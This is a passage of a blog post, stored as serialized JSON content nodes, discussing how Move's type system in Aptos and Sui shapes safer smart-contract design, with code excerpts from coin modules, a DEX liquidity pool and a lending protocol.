Move's typing system and formal verification.","robert",{"src":8108,"height":8109,"width":8110},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":21,"children":8113,"toc":11626},[8114,8119,8124,8143,8149,8161,8258,8266,8385,8393,8415,8568,8573,8831,8852,8887,8892,8912,8917,8928,8940,9151,9163,9177,9190,9447,9459,9678,9683,9711,9857,9876,9881,10142,10154,10159,10172,10178,10183,10188,10200,10214,10219,10318,10330,10343,10616,10621,10633,10638,10692,10712,10717,11595,11599,11604,11609,11622],{"type":24,"tag":25,"props":8115,"children":8116},{},[8117],{"type":29,"value":8118},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":24,"tag":25,"props":8120,"children":8121},{},[8122],{"type":29,"value":8123},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":24,"tag":25,"props":8125,"children":8126},{},[8127,8129,8134,8136,8141],{"type":29,"value":8128},"In this piece I'll seek to discuss exactly ",{"type":24,"tag":842,"props":8130,"children":8131},{},[8132],{"type":29,"value":8133},"how",{"type":29,"value":8135}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":24,"tag":842,"props":8137,"children":8138},{},[8139],{"type":29,"value":8140},"structurally",{"type":29,"value":8142}," safer programs.",{"type":24,"tag":850,"props":8144,"children":8146},{"id":8145},"types",[8147],{"type":29,"value":8148},"Types",{"type":24,"tag":25,"props":8150,"children":8151},{},[8152,8154,8160],{"type":29,"value":8153},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":24,"tag":32,"props":8155,"children":8157},{"className":8156},[],[8158],{"type":29,"value":8159},"coin.move",{"type":29,"value":226},{"type":24,"tag":80,"props":8162,"children":8164},{"className":82,"code":8163,"language":84,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[8165],{"type":24,"tag":32,"props":8166,"children":8167},{"__ignoreMap":7},[8168,8176,8222,8230,8250],{"type":24,"tag":90,"props":8169,"children":8170},{"class":92,"line":93},[8171],{"type":24,"tag":90,"props":8172,"children":8173},{"style":252},[8174],{"type":29,"value":8175}," /// Main structure representing a coin/token in an account's custody.\n",{"type":24,"tag":90,"props":8177,"children":8178},{"class":92,"line":200},[8179,8184,8189,8193,8198,8203,8208,8213,8218],{"type":24,"tag":90,"props":8180,"children":8181},{"style":97},[8182],{"type":29,"value":8183}," struct",{"type":24,"tag":90,"props":8185,"children":8186},{"style":146},[8187],{"type":29,"value":8188}," Coin",{"type":24,"tag":90,"props":8190,"children":8191},{"style":114},[8192],{"type":29,"value":1575},{"type":24,"tag":90,"props":8194,"children":8195},{"style":136},[8196],{"type":29,"value":8197},"phantom",{"type":24,"tag":90,"props":8199,"children":8200},{"style":146},[8201],{"type":29,"value":8202}," CoinType",{"type":24,"tag":90,"props":8204,"children":8205},{"style":114},[8206],{"type":29,"value":8207},"> ",{"type":24,"tag":90,"props":8209,"children":8210},{"style":136},[8211],{"type":29,"value":8212},"has",{"type":24,"tag":90,"props":8214,"children":8215},{"style":136},[8216],{"type":29,"value":8217}," store",{"type":24,"tag":90,"props":8219,"children":8220},{"style":114},[8221],{"type":29,"value":269},{"type":24,"tag":90,"props":8223,"children":8224},{"class":92,"line":239},[8225],{"type":24,"tag":90,"props":8226,"children":8227},{"style":252},[8228],{"type":29,"value":8229}," /// Amount of coin this address has.\n",{"type":24,"tag":90,"props":8231,"children":8232},{"class":92,"line":248},[8233,8238,8242,8246],{"type":24,"tag":90,"props":8234,"children":8235},{"style":136},[8236],{"type":29,"value":8237}," value",{"type":24,"tag":90,"props":8239,"children":8240},{"style":120},[8241],{"type":29,"value":78},{"type":24,"tag":90,"props":8243,"children":8244},{"style":146},[8245],{"type":29,"value":376},{"type":24,"tag":90,"props":8247,"children":8248},{"style":114},[8249],{"type":29,"value":748},{"type":24,"tag":90,"props":8251,"children":8252},{"class":92,"line":258},[8253],{"type":24,"tag":90,"props":8254,"children":8255},{"style":114},[8256],{"type":29,"value":8257}," }\n",{"type":24,"tag":25,"props":8259,"children":8260},{},[8261],{"type":24,"tag":842,"props":8262,"children":8263},{},[8264],{"type":29,"value":8265},"aptos",{"type":24,"tag":80,"props":8267,"children":8269},{"className":82,"code":8268,"language":84,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[8270],{"type":24,"tag":32,"props":8271,"children":8272},{"__ignoreMap":7},[8273,8281,8331,8348,8378],{"type":24,"tag":90,"props":8274,"children":8275},{"class":92,"line":93},[8276],{"type":24,"tag":90,"props":8277,"children":8278},{"style":252},[8279],{"type":29,"value":8280}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":24,"tag":90,"props":8282,"children":8283},{"class":92,"line":200},[8284,8288,8292,8296,8300,8305,8309,8313,8318,8322,8327],{"type":24,"tag":90,"props":8285,"children":8286},{"style":97},[8287],{"type":29,"value":8183},{"type":24,"tag":90,"props":8289,"children":8290},{"style":146},[8291],{"type":29,"value":8188},{"type":24,"tag":90,"props":8293,"children":8294},{"style":114},[8295],{"type":29,"value":1575},{"type":24,"tag":90,"props":8297,"children":8298},{"style":136},[8299],{"type":29,"value":8197},{"type":24,"tag":90,"props":8301,"children":8302},{"style":146},[8303],{"type":29,"value":8304}," T",{"type":24,"tag":90,"props":8306,"children":8307},{"style":114},[8308],{"type":29,"value":8207},{"type":24,"tag":90,"props":8310,"children":8311},{"style":136},[8312],{"type":29,"value":8212},{"type":24,"tag":90,"props":8314,"children":8315},{"style":136},[8316],{"type":29,"value":8317}," key",{"type":24,"tag":90,"props":8319,"children":8320},{"style":114},[8321],{"type":29,"value":133},{"type":24,"tag":90,"props":8323,"children":8324},{"style":136},[8325],{"type":29,"value":8326},"store",{"type":24,"tag":90,"props":8328,"children":8329},{"style":114},[8330],{"type":29,"value":269},{"type":24,"tag":90,"props":8332,"children":8333},{"class":92,"line":239},[8334,8339,8343],{"type":24,"tag":90,"props":8335,"children":8336},{"style":136},[8337],{"type":29,"value":8338}," id",{"type":24,"tag":90,"props":8340,"children":8341},{"style":120},[8342],{"type":29,"value":78},{"type":24,"tag":90,"props":8344,"children":8345},{"style":114},[8346],{"type":29,"value":8347}," UID,\n",{"type":24,"tag":90,"props":8349,"children":8350},{"class":92,"line":248},[8351,8356,8360,8365,8369,8373],{"type":24,"tag":90,"props":8352,"children":8353},{"style":136},[8354],{"type":29,"value":8355}," balance",{"type":24,"tag":90,"props":8357,"children":8358},{"style":120},[8359],{"type":29,"value":78},{"type":24,"tag":90,"props":8361,"children":8362},{"style":146},[8363],{"type":29,"value":8364}," Balance",{"type":24,"tag":90,"props":8366,"children":8367},{"style":114},[8368],{"type":29,"value":1575},{"type":24,"tag":90,"props":8370,"children":8371},{"style":146},[8372],{"type":29,"value":1960},{"type":24,"tag":90,"props":8374,"children":8375},{"style":114},[8376],{"type":29,"value":8377},">\n",{"type":24,"tag":90,"props":8379,"children":8380},{"class":92,"line":258},[8381],{"type":24,"tag":90,"props":8382,"children":8383},{"style":114},[8384],{"type":29,"value":8257},{"type":24,"tag":25,"props":8386,"children":8387},{},[8388],{"type":24,"tag":842,"props":8389,"children":8390},{},[8391],{"type":29,"value":8392},"sui",{"type":24,"tag":25,"props":8394,"children":8395},{},[8396,8398,8405,8407,8413],{"type":29,"value":8397},"Pulling an example from ",{"type":24,"tag":69,"props":8399,"children":8402},{"href":8400,"rel":8401},"https://pontem.network/",[73],[8403],{"type":29,"value":8404},"Pontem Network's",{"type":29,"value":8406}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":24,"tag":32,"props":8408,"children":8410},{"className":8409},[],[8411],{"type":29,"value":8412},"LiquidityPool",{"type":29,"value":8414}," natively embeds this type information into it's fields.",{"type":24,"tag":80,"props":8416,"children":8418},{"className":82,"code":8417,"language":84,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[8419],{"type":24,"tag":32,"props":8420,"children":8421},{"__ignoreMap":7},[8422,8430,8494,8524,8553,8561],{"type":24,"tag":90,"props":8423,"children":8424},{"class":92,"line":93},[8425],{"type":24,"tag":90,"props":8426,"children":8427},{"style":252},[8428],{"type":29,"value":8429}," /// Liquidity pool with reserves.\n",{"type":24,"tag":90,"props":8431,"children":8432},{"class":92,"line":200},[8433,8438,8443,8447,8451,8456,8460,8464,8469,8473,8477,8482,8486,8490],{"type":24,"tag":90,"props":8434,"children":8435},{"style":97},[8436],{"type":29,"value":8437}," struct",{"type":24,"tag":90,"props":8439,"children":8440},{"style":146},[8441],{"type":29,"value":8442}," LiquidityPool",{"type":24,"tag":90,"props":8444,"children":8445},{"style":114},[8446],{"type":29,"value":1575},{"type":24,"tag":90,"props":8448,"children":8449},{"style":136},[8450],{"type":29,"value":8197},{"type":24,"tag":90,"props":8452,"children":8453},{"style":146},[8454],{"type":29,"value":8455}," X",{"type":24,"tag":90,"props":8457,"children":8458},{"style":114},[8459],{"type":29,"value":133},{"type":24,"tag":90,"props":8461,"children":8462},{"style":136},[8463],{"type":29,"value":8197},{"type":24,"tag":90,"props":8465,"children":8466},{"style":146},[8467],{"type":29,"value":8468}," Y",{"type":24,"tag":90,"props":8470,"children":8471},{"style":114},[8472],{"type":29,"value":133},{"type":24,"tag":90,"props":8474,"children":8475},{"style":136},[8476],{"type":29,"value":8197},{"type":24,"tag":90,"props":8478,"children":8479},{"style":114},[8480],{"type":29,"value":8481}," LP> ",{"type":24,"tag":90,"props":8483,"children":8484},{"style":136},[8485],{"type":29,"value":8212},{"type":24,"tag":90,"props":8487,"children":8488},{"style":136},[8489],{"type":29,"value":8317},{"type":24,"tag":90,"props":8491,"children":8492},{"style":114},[8493],{"type":29,"value":269},{"type":24,"tag":90,"props":8495,"children":8496},{"class":92,"line":239},[8497,8502,8506,8510,8514,8519],{"type":24,"tag":90,"props":8498,"children":8499},{"style":136},[8500],{"type":29,"value":8501}," coin_x_reserve",{"type":24,"tag":90,"props":8503,"children":8504},{"style":120},[8505],{"type":29,"value":78},{"type":24,"tag":90,"props":8507,"children":8508},{"style":146},[8509],{"type":29,"value":8188},{"type":24,"tag":90,"props":8511,"children":8512},{"style":114},[8513],{"type":29,"value":1575},{"type":24,"tag":90,"props":8515,"children":8516},{"style":146},[8517],{"type":29,"value":8518},"X",{"type":24,"tag":90,"props":8520,"children":8521},{"style":114},[8522],{"type":29,"value":8523},">,\n",{"type":24,"tag":90,"props":8525,"children":8526},{"class":92,"line":248},[8527,8532,8536,8540,8544,8549],{"type":24,"tag":90,"props":8528,"children":8529},{"style":136},[8530],{"type":29,"value":8531}," coin_y_reserve",{"type":24,"tag":90,"props":8533,"children":8534},{"style":120},[8535],{"type":29,"value":78},{"type":24,"tag":90,"props":8537,"children":8538},{"style":146},[8539],{"type":29,"value":8188},{"type":24,"tag":90,"props":8541,"children":8542},{"style":114},[8543],{"type":29,"value":1575},{"type":24,"tag":90,"props":8545,"children":8546},{"style":146},[8547],{"type":29,"value":8548},"Y",{"type":24,"tag":90,"props":8550,"children":8551},{"style":114},[8552],{"type":29,"value":8523},{"type":24,"tag":90,"props":8554,"children":8555},{"class":92,"line":258},[8556],{"type":24,"tag":90,"props":8557,"children":8558},{"style":252},[8559],{"type":29,"value":8560}," // ...\n",{"type":24,"tag":90,"props":8562,"children":8563},{"class":92,"line":272},[8564],{"type":24,"tag":90,"props":8565,"children":8566},{"style":114},[8567],{"type":29,"value":612},{"type":24,"tag":25,"props":8569,"children":8570},{},[8571],{"type":29,"value":8572},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":24,"tag":80,"props":8574,"children":8576},{"className":82,"code":8575,"language":84,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[8577],{"type":24,"tag":32,"props":8578,"children":8579},{"__ignoreMap":7},[8580,8619,8640,8668,8696,8747,8755,8762],{"type":24,"tag":90,"props":8581,"children":8582},{"class":92,"line":93},[8583,8588,8593,8598,8602,8606,8610,8614],{"type":24,"tag":90,"props":8584,"children":8585},{"style":136},[8586],{"type":29,"value":8587}," public",{"type":24,"tag":90,"props":8589,"children":8590},{"style":136},[8591],{"type":29,"value":8592}," fun",{"type":24,"tag":90,"props":8594,"children":8595},{"style":136},[8596],{"type":29,"value":8597}," mint",{"type":24,"tag":90,"props":8599,"children":8600},{"style":114},[8601],{"type":29,"value":1575},{"type":24,"tag":90,"props":8603,"children":8604},{"style":146},[8605],{"type":29,"value":8518},{"type":24,"tag":90,"props":8607,"children":8608},{"style":114},[8609],{"type":29,"value":133},{"type":24,"tag":90,"props":8611,"children":8612},{"style":146},[8613],{"type":29,"value":8548},{"type":24,"tag":90,"props":8615,"children":8616},{"style":114},[8617],{"type":29,"value":8618},", LP>(\n",{"type":24,"tag":90,"props":8620,"children":8621},{"class":92,"line":200},[8622,8627,8631,8636],{"type":24,"tag":90,"props":8623,"children":8624},{"style":136},[8625],{"type":29,"value":8626}," pool_addr",{"type":24,"tag":90,"props":8628,"children":8629},{"style":120},[8630],{"type":29,"value":78},{"type":24,"tag":90,"props":8632,"children":8633},{"style":136},[8634],{"type":29,"value":8635}," address",{"type":24,"tag":90,"props":8637,"children":8638},{"style":114},[8639],{"type":29,"value":748},{"type":24,"tag":90,"props":8641,"children":8642},{"class":92,"line":239},[8643,8648,8652,8656,8660,8664],{"type":24,"tag":90,"props":8644,"children":8645},{"style":136},[8646],{"type":29,"value":8647}," coin_x",{"type":24,"tag":90,"props":8649,"children":8650},{"style":120},[8651],{"type":29,"value":78},{"type":24,"tag":90,"props":8653,"children":8654},{"style":146},[8655],{"type":29,"value":8188},{"type":24,"tag":90,"props":8657,"children":8658},{"style":114},[8659],{"type":29,"value":1575},{"type":24,"tag":90,"props":8661,"children":8662},{"style":146},[8663],{"type":29,"value":8518},{"type":24,"tag":90,"props":8665,"children":8666},{"style":114},[8667],{"type":29,"value":8523},{"type":24,"tag":90,"props":8669,"children":8670},{"class":92,"line":248},[8671,8676,8680,8684,8688,8692],{"type":24,"tag":90,"props":8672,"children":8673},{"style":136},[8674],{"type":29,"value":8675}," coin_y",{"type":24,"tag":90,"props":8677,"children":8678},{"style":120},[8679],{"type":29,"value":78},{"type":24,"tag":90,"props":8681,"children":8682},{"style":146},[8683],{"type":29,"value":8188},{"type":24,"tag":90,"props":8685,"children":8686},{"style":114},[8687],{"type":29,"value":1575},{"type":24,"tag":90,"props":8689,"children":8690},{"style":146},[8691],{"type":29,"value":8548},{"type":24,"tag":90,"props":8693,"children":8694},{"style":114},[8695],{"type":29,"value":8377},{"type":24,"tag":90,"props":8697,"children":8698},{"class":92,"line":258},[8699,8704,8708,8712,8716,8721,8725,8730,8734,8738,8743],{"type":24,"tag":90,"props":8700,"children":8701},{"style":114},[8702],{"type":29,"value":8703}," )",{"type":24,"tag":90,"props":8705,"children":8706},{"style":120},[8707],{"type":29,"value":78},{"type":24,"tag":90,"props":8709,"children":8710},{"style":146},[8711],{"type":29,"value":8188},{"type":24,"tag":90,"props":8713,"children":8714},{"style":114},[8715],{"type":29,"value":1575},{"type":24,"tag":90,"props":8717,"children":8718},{"style":146},[8719],{"type":29,"value":8720},"LP",{"type":24,"tag":90,"props":8722,"children":8723},{"style":114},[8724],{"type":29,"value":8207},{"type":24,"tag":90,"props":8726,"children":8727},{"style":136},[8728],{"type":29,"value":8729},"acquires",{"type":24,"tag":90,"props":8731,"children":8732},{"style":146},[8733],{"type":29,"value":8442},{"type":24,"tag":90,"props":8735,"children":8736},{"style":114},[8737],{"type":29,"value":133},{"type":24,"tag":90,"props":8739,"children":8740},{"style":146},[8741],{"type":29,"value":8742},"EventsStore",{"type":24,"tag":90,"props":8744,"children":8745},{"style":114},[8746],{"type":29,"value":269},{"type":24,"tag":90,"props":8748,"children":8749},{"class":92,"line":272},[8750],{"type":24,"tag":90,"props":8751,"children":8752},{"style":252},[8753],{"type":29,"value":8754}," // ...\n",{"type":24,"tag":90,"props":8756,"children":8757},{"class":92,"line":281},[8758],{"type":24,"tag":90,"props":8759,"children":8760},{"emptyLinePlaceholder":16},[8761],{"type":29,"value":245},{"type":24,"tag":90,"props":8763,"children":8764},{"class":92,"line":384},[8765,8770,8774,8779,8783,8788,8792,8796,8801,8805,8809,8813,8817,8822,8827],{"type":24,"tag":90,"props":8766,"children":8767},{"style":97},[8768],{"type":29,"value":8769}," let",{"type":24,"tag":90,"props":8771,"children":8772},{"style":114},[8773],{"type":29,"value":1151},{"type":24,"tag":90,"props":8775,"children":8776},{"style":136},[8777],{"type":29,"value":8778},"x_reserve_size",{"type":24,"tag":90,"props":8780,"children":8781},{"style":114},[8782],{"type":29,"value":133},{"type":24,"tag":90,"props":8784,"children":8785},{"style":136},[8786],{"type":29,"value":8787},"y_reserve_size",{"type":24,"tag":90,"props":8789,"children":8790},{"style":114},[8791],{"type":29,"value":172},{"type":24,"tag":90,"props":8793,"children":8794},{"style":120},[8795],{"type":29,"value":5491},{"type":24,"tag":90,"props":8797,"children":8798},{"style":136},[8799],{"type":29,"value":8800}," get_reserves_size",{"type":24,"tag":90,"props":8802,"children":8803},{"style":114},[8804],{"type":29,"value":1575},{"type":24,"tag":90,"props":8806,"children":8807},{"style":146},[8808],{"type":29,"value":8518},{"type":24,"tag":90,"props":8810,"children":8811},{"style":114},[8812],{"type":29,"value":133},{"type":24,"tag":90,"props":8814,"children":8815},{"style":146},[8816],{"type":29,"value":8548},{"type":24,"tag":90,"props":8818,"children":8819},{"style":114},[8820],{"type":29,"value":8821},", LP>(",{"type":24,"tag":90,"props":8823,"children":8824},{"style":136},[8825],{"type":29,"value":8826},"pool_addr",{"type":24,"tag":90,"props":8828,"children":8829},{"style":114},[8830],{"type":29,"value":571},{"type":24,"tag":25,"props":8832,"children":8833},{},[8834,8836,8842,8843,8850],{"type":29,"value":8835},"As an aside, this generic type information is implemented at runtime in the ",{"type":24,"tag":32,"props":8837,"children":8839},{"className":8838},[],[8840],{"type":29,"value":8841},"ty_args",{"type":29,"value":2877},{"type":24,"tag":69,"props":8844,"children":8847},{"href":8845,"rel":8846},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[73],[8848],{"type":29,"value":8849},"at the vm level",{"type":29,"value":8851},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":24,"tag":25,"props":8853,"children":8854},{},[8855,8857,8863,8865,8871,8873,8879,8880,8886],{"type":29,"value":8856},"In pseucode, this checks that ",{"type":24,"tag":32,"props":8858,"children":8860},{"className":8859},[],[8861],{"type":29,"value":8862},"coin_x.type",{"type":29,"value":8864}," is equal to ",{"type":24,"tag":32,"props":8866,"children":8868},{"className":8867},[],[8869],{"type":29,"value":8870},"pool.x_type",{"type":29,"value":8872},", and ",{"type":24,"tag":32,"props":8874,"children":8876},{"className":8875},[],[8877],{"type":29,"value":8878},"coin_y.type",{"type":29,"value":8864},{"type":24,"tag":32,"props":8881,"children":8883},{"className":8882},[],[8884],{"type":29,"value":8885},"pool.y_type",{"type":29,"value":226},{"type":24,"tag":25,"props":8888,"children":8889},{},[8890],{"type":29,"value":8891},"This type system has two advantages",{"type":24,"tag":3100,"props":8893,"children":8894},{},[8895,8907],{"type":24,"tag":3104,"props":8896,"children":8897},{},[8898,8900,8905],{"type":29,"value":8899},"It's required. The type parameter ",{"type":24,"tag":842,"props":8901,"children":8902},{},[8903],{"type":29,"value":8904},"must",{"type":29,"value":8906}," be specified so it's impossible to forget such a constraint",{"type":24,"tag":3104,"props":8908,"children":8909},{},[8910],{"type":29,"value":8911},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":24,"tag":25,"props":8913,"children":8914},{},[8915],{"type":29,"value":8916},"However, this system isn't perfect.",{"type":24,"tag":25,"props":8918,"children":8919},{},[8920,8922,8927],{"type":29,"value":8921},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":24,"tag":7711,"props":8923,"children":8924},{},[8925],{"type":29,"value":8926},"an anti-pattern",{"type":29,"value":226},{"type":24,"tag":25,"props":8929,"children":8930},{},[8931,8933,8939],{"type":29,"value":8932},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":24,"tag":32,"props":8934,"children":8936},{"className":8935},[],[8937],{"type":29,"value":8938},"CoinInfo\u003CCoinType>",{"type":29,"value":226},{"type":24,"tag":80,"props":8941,"children":8943},{"className":82,"code":8942,"language":84,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[8944],{"type":24,"tag":32,"props":8945,"children":8946},{"__ignoreMap":7},[8947,8974,8982,9051,9058,9065,9077,9121,9143],{"type":24,"tag":90,"props":8948,"children":8949},{"class":92,"line":93},[8950,8955,8960,8964,8969],{"type":24,"tag":90,"props":8951,"children":8952},{"style":136},[8953],{"type":29,"value":8954}," fun",{"type":24,"tag":90,"props":8956,"children":8957},{"style":136},[8958],{"type":29,"value":8959}," initialize_internal",{"type":24,"tag":90,"props":8961,"children":8962},{"style":114},[8963],{"type":29,"value":1575},{"type":24,"tag":90,"props":8965,"children":8966},{"style":146},[8967],{"type":29,"value":8968},"CoinType",{"type":24,"tag":90,"props":8970,"children":8971},{"style":114},[8972],{"type":29,"value":8973},">(\n",{"type":24,"tag":90,"props":8975,"children":8976},{"class":92,"line":200},[8977],{"type":24,"tag":90,"props":8978,"children":8979},{"style":252},[8980],{"type":29,"value":8981}," // ...\n",{"type":24,"tag":90,"props":8983,"children":8984},{"class":92,"line":239},[8985,8990,8994,8998,9003,9007,9011,9016,9021,9025,9029,9033,9038,9042,9046],{"type":24,"tag":90,"props":8986,"children":8987},{"style":114},[8988],{"type":29,"value":8989}," )",{"type":24,"tag":90,"props":8991,"children":8992},{"style":120},[8993],{"type":29,"value":78},{"type":24,"tag":90,"props":8995,"children":8996},{"style":114},[8997],{"type":29,"value":1151},{"type":24,"tag":90,"props":8999,"children":9000},{"style":146},[9001],{"type":29,"value":9002},"BurnCapability",{"type":24,"tag":90,"props":9004,"children":9005},{"style":114},[9006],{"type":29,"value":1575},{"type":24,"tag":90,"props":9008,"children":9009},{"style":146},[9010],{"type":29,"value":8968},{"type":24,"tag":90,"props":9012,"children":9013},{"style":114},[9014],{"type":29,"value":9015},">, ",{"type":24,"tag":90,"props":9017,"children":9018},{"style":146},[9019],{"type":29,"value":9020},"FreezeCapability",{"type":24,"tag":90,"props":9022,"children":9023},{"style":114},[9024],{"type":29,"value":1575},{"type":24,"tag":90,"props":9026,"children":9027},{"style":146},[9028],{"type":29,"value":8968},{"type":24,"tag":90,"props":9030,"children":9031},{"style":114},[9032],{"type":29,"value":9015},{"type":24,"tag":90,"props":9034,"children":9035},{"style":146},[9036],{"type":29,"value":9037},"MintCapability",{"type":24,"tag":90,"props":9039,"children":9040},{"style":114},[9041],{"type":29,"value":1575},{"type":24,"tag":90,"props":9043,"children":9044},{"style":146},[9045],{"type":29,"value":8968},{"type":24,"tag":90,"props":9047,"children":9048},{"style":114},[9049],{"type":29,"value":9050},">) {\n",{"type":24,"tag":90,"props":9052,"children":9053},{"class":92,"line":248},[9054],{"type":24,"tag":90,"props":9055,"children":9056},{"style":252},[9057],{"type":29,"value":8981},{"type":24,"tag":90,"props":9059,"children":9060},{"class":92,"line":258},[9061],{"type":24,"tag":90,"props":9062,"children":9063},{"emptyLinePlaceholder":16},[9064],{"type":29,"value":245},{"type":24,"tag":90,"props":9066,"children":9067},{"class":92,"line":272},[9068,9073],{"type":24,"tag":90,"props":9069,"children":9070},{"style":108},[9071],{"type":29,"value":9072}," assert!",{"type":24,"tag":90,"props":9074,"children":9075},{"style":114},[9076],{"type":29,"value":680},{"type":24,"tag":90,"props":9078,"children":9079},{"class":92,"line":281},[9080,9085,9090,9094,9099,9103,9107,9112,9117],{"type":24,"tag":90,"props":9081,"children":9082},{"style":120},[9083],{"type":29,"value":9084}," !",{"type":24,"tag":90,"props":9086,"children":9087},{"style":136},[9088],{"type":29,"value":9089},"exists",{"type":24,"tag":90,"props":9091,"children":9092},{"style":114},[9093],{"type":29,"value":1575},{"type":24,"tag":90,"props":9095,"children":9096},{"style":146},[9097],{"type":29,"value":9098},"CoinInfo",{"type":24,"tag":90,"props":9100,"children":9101},{"style":114},[9102],{"type":29,"value":1575},{"type":24,"tag":90,"props":9104,"children":9105},{"style":146},[9106],{"type":29,"value":8968},{"type":24,"tag":90,"props":9108,"children":9109},{"style":114},[9110],{"type":29,"value":9111},">>(",{"type":24,"tag":90,"props":9113,"children":9114},{"style":136},[9115],{"type":29,"value":9116},"account_addr",{"type":24,"tag":90,"props":9118,"children":9119},{"style":114},[9120],{"type":29,"value":779},{"type":24,"tag":90,"props":9122,"children":9123},{"class":92,"line":384},[9124,9129,9133,9138],{"type":24,"tag":90,"props":9125,"children":9126},{"style":114},[9127],{"type":29,"value":9128}," error",{"type":24,"tag":90,"props":9130,"children":9131},{"style":120},[9132],{"type":29,"value":1211},{"type":24,"tag":90,"props":9134,"children":9135},{"style":108},[9136],{"type":29,"value":9137},"already_exists",{"type":24,"tag":90,"props":9139,"children":9140},{"style":114},[9141],{"type":29,"value":9142},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":24,"tag":90,"props":9144,"children":9145},{"class":92,"line":420},[9146],{"type":24,"tag":90,"props":9147,"children":9148},{"style":114},[9149],{"type":29,"value":9150}," );\n",{"type":24,"tag":25,"props":9152,"children":9153},{},[9154,9156,9161],{"type":29,"value":9155},"While this ",{"type":24,"tag":32,"props":9157,"children":9159},{"className":9158},[],[9160],{"type":29,"value":9098},{"type":29,"value":9162}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":24,"tag":25,"props":9164,"children":9165},{},[9166,9168,9175],{"type":29,"value":9167},"Similarly, consider ",{"type":24,"tag":69,"props":9169,"children":9172},{"href":9170,"rel":9171},"https://ariesmarkets.xyz/",[73],[9173],{"type":29,"value":9174},"Aries Markets",{"type":29,"value":9176},", a lending/borrowing protocol building on Aptos.",{"type":24,"tag":25,"props":9178,"children":9179},{},[9180,9182,9188],{"type":29,"value":9181},"Their ",{"type":24,"tag":32,"props":9183,"children":9185},{"className":9184},[],[9186],{"type":29,"value":9187},"ReserveCoinContainer",{"type":29,"value":9189}," struct stores all the relevant data and resources for managing a lending market.",{"type":24,"tag":80,"props":9191,"children":9193},{"className":82,"code":9192,"language":84,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[9194],{"type":24,"tag":32,"props":9195,"children":9196},{"__ignoreMap":7},[9197,9205,9213,9254,9262,9291,9299,9336,9344,9381,9389,9426,9433,9440],{"type":24,"tag":90,"props":9198,"children":9199},{"class":92,"line":93},[9200],{"type":24,"tag":90,"props":9201,"children":9202},{"style":252},[9203],{"type":29,"value":9204}," /// The struct to hold all the underlying `Coin`s.\n",{"type":24,"tag":90,"props":9206,"children":9207},{"class":92,"line":200},[9208],{"type":24,"tag":90,"props":9209,"children":9210},{"style":252},[9211],{"type":29,"value":9212}," /// Stored as a resources.\n",{"type":24,"tag":90,"props":9214,"children":9215},{"class":92,"line":239},[9216,9220,9225,9229,9233,9238,9242,9246,9250],{"type":24,"tag":90,"props":9217,"children":9218},{"style":97},[9219],{"type":29,"value":8183},{"type":24,"tag":90,"props":9221,"children":9222},{"style":146},[9223],{"type":29,"value":9224}," ReserveCoinContainer",{"type":24,"tag":90,"props":9226,"children":9227},{"style":114},[9228],{"type":29,"value":1575},{"type":24,"tag":90,"props":9230,"children":9231},{"style":136},[9232],{"type":29,"value":8197},{"type":24,"tag":90,"props":9234,"children":9235},{"style":146},[9236],{"type":29,"value":9237}," Coin0",{"type":24,"tag":90,"props":9239,"children":9240},{"style":114},[9241],{"type":29,"value":8207},{"type":24,"tag":90,"props":9243,"children":9244},{"style":136},[9245],{"type":29,"value":8212},{"type":24,"tag":90,"props":9247,"children":9248},{"style":136},[9249],{"type":29,"value":8317},{"type":24,"tag":90,"props":9251,"children":9252},{"style":114},[9253],{"type":29,"value":269},{"type":24,"tag":90,"props":9255,"children":9256},{"class":92,"line":248},[9257],{"type":24,"tag":90,"props":9258,"children":9259},{"style":252},[9260],{"type":29,"value":9261}," /// Stores 